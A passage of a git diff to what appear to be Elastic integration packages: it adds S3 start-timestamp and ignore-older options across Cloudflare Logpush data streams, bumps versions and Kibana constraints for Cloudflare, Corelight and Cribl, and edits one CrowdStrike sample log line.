+{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_casb}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/casb/manifest.yml b/packages/cloudflare_logpush/data_stream/casb/manifest.yml index 1427ca17990..4c11a761172 100644 --- a/packages/cloudflare_logpush/data_stream/casb/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/casb/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs index 50b8bb58c58..71cb81cb44a 100644 --- a/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/device_posture/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,15 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_device_posture}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs index bd5e4b3aebc..0da92ebf129 100644 --- a/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/dns/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_dns}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/dns/manifest.yml b/packages/cloudflare_logpush/data_stream/dns/manifest.yml index a649e907b99..71b25cb7a82 100644 --- a/packages/cloudflare_logpush/data_stream/dns/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/dns/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs index e67d21ffe29..984f70adc96 100644 --- a/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/dns_firewall/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_dns_firewall}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs index cb938b515fe..306d76c71f1 100644 --- a/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_firewall_event}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs index f046eac539c..5cfaf5feefa 100644 --- a/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_gateway_dns}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs index a407a5ca10d..670a1ac3401 100644 --- a/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_gateway_http}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs index 7b4d553b880..721a93ca61d 100644 --- a/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_gateway_network}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs index 8f3d8af92f7..306bc89f624 100644 --- a/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,15 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_http_request}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs index e299dc5bbaa..d8df996faed 100644 --- a/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_magic_ids}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml b/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml index 4c543025397..d4d9f9bad8d 100644 --- a/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs index 52139e5a7d5..1e72ad4ca14 100644 --- a/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_nel_report}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml b/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml index 46a0be2dfb9..c56dae2c9ea 100644 --- a/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs index 9fb821c1387..0e844952c14 100644 --- a/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_network_analytics}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml b/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml index 80b0f7c7fb7..bb7cde02490 100644 --- a/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs index e0de152cef9..6e388e9f99b 100644 --- a/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_network_session}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/network_session/manifest.yml b/packages/cloudflare_logpush/data_stream/network_session/manifest.yml index 12b58e96b59..1d89f1d8827 100644 --- a/packages/cloudflare_logpush/data_stream/network_session/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/network_session/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs index 331544ccbca..48942109921 100644 --- a/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_sinkhole_http}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml b/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml index 43dd7702c84..a67e37d7536 100644 --- a/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs index adc38601da5..a94cdab6c3d 100644 --- a/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_spectrum_event}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml b/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml index c6c7b89e643..0fe5dcbae7b 100644 --- a/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs index 424d0e423c6..47b2e32df9a 100644 --- a/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs +++ b/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs @@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }} bucket_list_interval: {{ bucket_list_interval }} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} + +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} + {{! AWS S3 bucket ARN options }} {{#unless cloudflare_r2_workers_trace}} {{#unless cloudflare_r2}} diff --git a/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml b/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml index 2363b0726b4..4f11f9831cf 100644 --- a/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml +++ b/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml @@ -121,6 +121,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/cloudflare_logpush/manifest.yml b/packages/cloudflare_logpush/manifest.yml index 8d90d2248b0..7ec4458367c 100644 --- a/packages/cloudflare_logpush/manifest.yml +++ b/packages/cloudflare_logpush/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: cloudflare_logpush title: Cloudflare Logpush -version: "1.34.1" +version: "1.35.0" description: Collect and parse logs from Cloudflare API with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - cdn_security conditions: kibana: - version: "^8.16.2 || ^9.0.0" + version: "^8.16.5 || ^9.0.0" screenshots: - src: /img/cloudflare_logpush-overview1.png title: Cloudflare Logpush - Zero Trust Overview diff --git a/packages/corelight/changelog.yml b/packages/corelight/changelog.yml index d3482306603..a2bcf0c4e88 100644 --- a/packages/corelight/changelog.yml +++ b/packages/corelight/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.8.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.7.0" changes: - description: Enable "Paginate table" toggle and display all available columns of table visualization, and add Less Secure TLS version visualization to relevant dashboards. diff --git a/packages/corelight/manifest.yml b/packages/corelight/manifest.yml index 91ab7b33c38..028c57edeb5 100644 --- a/packages/corelight/manifest.yml +++ b/packages/corelight/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: corelight title: Corelight -version: 0.7.0 +version: "0.8.0" description: Collect logs from Corelight with Elastic Agent. type: integration categories: @@ -12,7 +12,7 @@ categories: - vpn_security conditions: kibana: - version: ^8.16.0 + version: "^8.16.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/cribl/changelog.yml b/packages/cribl/changelog.yml index 928d18fa413..8aa704894f1 100644 --- a/packages/cribl/changelog.yml +++ b/packages/cribl/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.5.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.4.2" changes: - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. diff --git a/packages/cribl/manifest.yml b/packages/cribl/manifest.yml index cca7e892f63..5ffc7c3005c 100644 --- a/packages/cribl/manifest.yml +++ b/packages/cribl/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.0.3 name: cribl title: "Cribl" -version: "0.4.2" +version: "0.5.0" description: Stream logs from Cribl into Elastic. type: integration categories: - custom conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/logo.svg title: Cribl logo diff --git a/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log b/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log index 8e657f8452e..e1185b0d0fc 100644 --- a/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log +++ b/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log @@ -123,4 +123,4 @@ {"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} {"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} {"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} -{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment"} +{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"} diff --git a/packages/cyberark_epm/changelog.yml b/packages/cyberark_epm/changelog.yml index 4bb22aa69f2..afcba9870d4 100644 --- a/packages/cyberark_epm/changelog.yml +++ b/packages/cyberark_epm/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: 